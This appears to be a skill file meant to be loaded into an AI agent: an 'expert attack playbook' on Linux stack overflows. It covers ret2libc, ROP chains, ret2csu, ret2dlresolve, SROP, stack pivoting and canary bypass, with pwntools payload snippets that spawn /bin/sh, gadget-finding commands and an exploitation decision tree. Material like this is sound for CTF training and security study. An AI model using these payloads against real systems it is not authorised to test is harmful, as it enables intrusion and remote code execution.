Skill v1.0.0
currentAutomated scan100/100version: "1.0.0" name: stack-overflow-and-rop description: >- Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.
SKILL: Stack Overflow & ROP — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
0. RELATED ROUTING
- format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
- binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
- arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
- heap-exploitation — when the vulnerability is in heap rather than stack
Advanced Reference
Load ROP_ADVANCED_TECHNIQUES.md when you need:
- Blind ROP (BROP) methodology against remote services without binary
- ret2vdso for ASLR bypass on 32-bit systems
- Partial overwrite techniques for PIE bypass
- JOP / COP alternative code-reuse paradigms
1. STACK LAYOUT FUNDAMENTALS
High Address┌─────────────────────┐│ ... (caller) │├─────────────────────┤│ Return Address │ ← overwrite target (EIP/RIP control)├─────────────────────┤│ Saved EBP/RBP │ ← overwrite for stack pivoting├─────────────────────┤│ Canary (if enabled)│├─────────────────────┤│ Local Variables │ ← buffer starts here├─────────────────────┤│ ... │└─────────────────────┘Low Address
| Element | x86 (32-bit) | x86-64 (64-bit) | |
|---|---|---|---|
| Return address size | 4 bytes | 8 bytes | |
| Saved frame pointer | 4 bytes (EBP) | 8 bytes (RBP) | |
| Canary size | 4 bytes | 8 bytes | |
| Calling convention | args on stack | RDI, RSI, RDX, RCX, R8, R9 then stack | |
| Syscall instruction | int 0x80 | syscall |
2. RETURN-TO-LIBC
When NX is enabled (stack not executable), redirect execution to libc functions.
Classic ret2libc (32-bit)
payload = b'A' * offsetpayload += p32(system_addr)payload += p32(exit_addr) # fake return address for system()payload += p32(binsh_addr) # arg1: "/bin/sh"
ret2libc (64-bit) — Need Gadgets for Arguments
pop_rdi = elf_base + 0x401234 # pop rdi; retpayload = b'A' * offsetpayload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(system_addr)
Libc Base Leak Methods
| Method | Technique | When | |
|---|---|---|---|
| puts@plt(puts@GOT) | Leak resolved libc address | GOT already resolved, puts in PLT | |
| write@plt(1, read@GOT, 8) | Leak via write syscall | write available | |
| printf("%s", GOT_entry) | Leak via format string | printf controllable | |
| Partial overwrite | Overwrite low bytes of return to reach leak gadget | PIE enabled, known last 12 bits |
# Typical leak patternrop = b'A' * offsetrop += p64(pop_rdi) + p64(elf.got['puts'])rop += p64(elf.plt['puts'])rop += p64(main_addr) # return to main for second payloadio.sendline(rop)leak = u64(io.recvline().strip().ljust(8, b'\x00'))libc_base = leak - libc.symbols['puts']
one_gadget — Single Gadget RCE
$ one_gadget /path/to/libc.so.60x4f3d5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0, rcx == NULL0x4f432 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
Constraints must be satisfied — check register/stack state before using.
3. ROP CHAIN CONSTRUCTION
Tool Comparison
| Tool | Strength | Command | |
|---|---|---|---|
| ROPgadget | Comprehensive search, chain generation | ROPgadget --binary elf --ropchain | |
| ropper | Semantic search, JOP/COP support | ropper -f elf --search "pop rdi" | |
| pwntools ROP | Automated chain building | rop = ROP(elf); rop.call('system', ['/bin/sh']) | |
| xrop | Fast gadget search | xrop -r elf |
Essential Gadget Patterns
| Purpose | Gadget | Use Case | |
|---|---|---|---|
| Set RDI (arg1) | pop rdi; ret | Most function calls | |
| Set RSI (arg2) | pop rsi; pop r15; ret | Two-arg functions | |
| Set RDX (arg3) | pop rdx; ret (rare) | Three-arg functions, use ret2csu | |
| Syscall | syscall; ret | Direct syscall invocation | |
| Stack pivot | leave; ret | Move RSP to controlled buffer | |
| Align stack | ret (single ret gadget) | Fix 16-byte alignment for movaps |
x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.
4. ret2csu — Universal 3-Argument Control
__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
; Gadget 1 (csu_init + 0x3a): pop registerspop rbx ; 0pop rbp ; 1pop r12 ; call target (function pointer address)pop r13 ; arg3 (rdx)pop r14 ; arg2 (rsi)pop r15 ; arg1 (edi = r15d)ret; Gadget 2 (csu_init + 0x20): controlled callmov rdx, r13mov rsi, r14mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdicall [r12 + rbx*8]add rbx, 1cmp rbp, rbxjne <loop>; falls through to gadget 1 again
Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.
5. ret2dlresolve
Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.
Attack Flow
- Control execution to call
_dl_runtime_resolve(link_map, reloc_offset) - Forge
Elf_Relat known writable address pointing to fakeElf_Sym - Forge
Elf_Symwithst_namepointing to fake string"system\x00" - Set
reloc_offsetso resolver uses forged structures - Argument (
/bin/sh) placed on stack or in known buffer
# pwntools automation (recommended)from pwntools import *rop = ROP(elf)dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])rop.read(0, dlresolve.data_addr)rop.ret2dlresolve(dlresolve)io.sendline(rop.chain())io.sendline(dlresolve.payload)
32-bit vs 64-bit Differences
| Aspect | 32-bit | 64-bit | |
|---|---|---|---|
| Relocation type | Elf32_Rel (8 bytes) | Elf64_Rela (24 bytes) | |
| Symbol table entry | Elf32_Sym (16 bytes) | Elf64_Sym (24 bytes) | |
| Alignment | Relaxed | Strict (must satisfy ndx = (reloc_offset) / sizeof(Elf64_Rela), then sym = symtab[ndx]) | |
| Version check | Usually skippable | VERSYM[sym_index] must be valid or 0 |
6. SROP — Sigreturn-Oriented Programming
Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.
from pwn import *frame = SigreturnFrame()frame.rax = constants.SYS_execve # 59frame.rdi = binsh_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall_ret_addrframe.rsp = new_stack_addr # optional pivotpayload = b'A' * offsetpayload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15payload += p64(syscall_ret)payload += bytes(frame)
When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.
7. STACK PIVOTING
Move the stack pointer to an attacker-controlled buffer when overflow length is limited.
| Technique | Gadget | Precondition | |
|---|---|---|---|
leave; ret | mov rsp, rbp; pop rbp; ret | Control saved RBP to point to fake stack | |
xchg rsp, rax; ret | Swap RSP with RAX | Control RAX (via gadget chain) | |
pop rsp; ret | Direct RSP control | Rare but powerful | |
| SROP pivot | Set RSP in SigreturnFrame | Only need sigreturn gadget |
leave;ret Pivot Pattern
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp1st ret: rip = leave_ret_addr2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)2nd ret: rip = *(buf+8) → start of ROP chain in buf
8. CANARY BYPASS
| Technique | Condition | Method | |
|---|---|---|---|
| Brute-force | fork() server (canary same in child) | Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) | |
| Format string leak | printf(user_input) available | %N$p to read canary from stack | |
| Stack reading | One-byte overflow or partial read | Overwrite canary null byte, read via error/output | |
| Thread canary | Overflow reaches TLS | Overwrite stack_guard in TLS (at fs:[0x28]) simultaneously | |
| Information disclosure | Uninitialized stack variable leak | Canary included in leaked data |
9. TOOLS QUICK REFERENCE
checksec ./binary # Show protections (NX, canary, PIE, RELRO)ROPgadget --binary ./binary --ropchain # Auto-generate ROP chainropper -f ./binary --search "pop rdi" # Semantic gadget searchone_gadget ./libc.so.6 # Find one-shot RCE gadgetspwn template ./binary --host x --port y # Generate pwntools exploit skeleton
10. DECISION TREE
Binary has stack overflow?├── checksec: NX disabled?│ └── YES → shellcode on stack, ret to buffer (ret2shellcode)│ └── NO (NX enabled) →│ ├── Canary enabled?│ │ ├── YES → fork() server? → brute-force canary│ │ │ format string? → leak canary│ │ │ info leak? → read canary│ │ └── NO → proceed to ROP│ ├── ASLR/PIE enabled?│ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)│ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT)│ │ └── Neither → addresses known, direct ROP│ ├── Can leak libc?│ │ ├── YES → ret2libc (system/execve) or one_gadget│ │ └── NO → ret2dlresolve (forge resolution) or SROP│ ├── Need 3+ args but no pop rdx?│ │ └── ret2csu or SROP│ ├── Overflow too short for full chain?│ │ └── Stack pivot (leave;ret, xchg rsp)│ ├── Static binary (no libc)?│ │ └── SROP + syscall chain (execve via sigreturn)│ └── Full RELRO?│ └── Cannot overwrite GOT → target __free_hook, __malloc_hook,│ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)